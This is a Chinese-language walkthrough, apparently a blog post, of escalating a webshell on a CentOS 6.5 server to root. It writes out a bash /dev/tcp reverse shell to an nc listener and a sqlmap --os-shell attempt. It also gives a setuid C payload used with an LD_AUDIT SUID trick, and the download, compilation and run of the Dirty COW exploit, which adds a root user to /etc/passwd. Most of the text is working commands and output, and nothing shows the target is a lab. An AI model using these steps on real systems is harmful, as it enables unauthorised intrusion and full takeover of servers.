提权过程试了好几种方法。使用反向连接得到webshell,得到内核版本等信息
#公网服务器使用nc监听
nc -lvvp 1234
#目标机器上执行命令
bash -i >& /dev/tcp/公网服务器IP/端口 0>&1
[www@centos]$ whoami
www
[www@centos]$ uname -a
uname -a
Linux centos 2.6.32-431.el6.x86_64 #1 SMP Fri Nov 22 03:15:09 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
[www@centos]$ lsb_release -a
lsb_release -a
LSB Version::base-4.0-amd64:base-4.0-noarch:core-4.0-amd64:core-4.0-noarch:graphics-4.0-amd64:
graphics-4.0-noarch:printing-4.0-amd64:printing-4.0-noarch
Distributor ID:CentOS
Description:CentOS release 6.5 (Final)
Release:6.5
Codename:Final
[www@centos]$ python -c 'import pty;pty.spawn("/bin/sh")' #模拟tty
首先尝试了mysql的udf提权,恰好3306端口也是开放的。直接使用了sqlmap
sqlmap -d mysql://root:@IP:PORT/DBname --os-shell
#然后选择操作系统位数
然而并未成功,使用ps aux查看发现mysql是以mysql用户启动的,没有权限写plugin目录
然后尝试利用/tmp结合ping提权(suid)
find / -user root -perm -4000 -print 2>/dev/null #查找具有suid权限的文件
cd /tmp
mkdir exploit
ln /bin/ping /tmp/exploit/target
exec 3< /tmp/exploit/target#把/tmp/exploit/target定义为文件描述符3
rm -rf /tmp/exploit/
#建立payload.c
**********************************************
void __attribute__((constructor)) init()
{
setuid(0);
system("/bin/bash");
}
***********************************************
gcc -W -fPIC -shared -o /tmp/exploit payload.c
LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3 #定义环境变量
但是不知道为什么前面所有的都执行正常 ,最后一句执行完后连接直接断开了,无奈换其他方法。
使用“Dirty COW”漏洞exp提权
[www@centos tmp]$ curl https://www.exploit-db.com/download/40839 > exp.c #下载exp代码
exp.c
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 5006 100 5006 0 0 3768 0 0:00:01 0:00:01 --:--:-- 6476
[www@centos tmp]$ gcc -pthread exp.c -o exp -lcrypt #编译
gcc -pthread exp.c -o exp -lcrypt
[www@centos tmp]$ ./exp #执行
./exp
Please enter the new password: testtest #输入密码,用户名默认firefart
/etc/passwd successfully backed up to /tmp/passwd.bak
Complete line:
firefart:fiJIjOetSxcCE:0:0:pwned:/root:/bin/bash
mmap: **********
ptrace 0
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password 'testtest'.
DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd #通过在etc/passwd下添加ROOT权限的用户
然后使用ssh工具成功登上
[firefart@centos ~]# id
uid=0(firefart) gid=0(root) groups=0(root)
[firefart@centos ~]#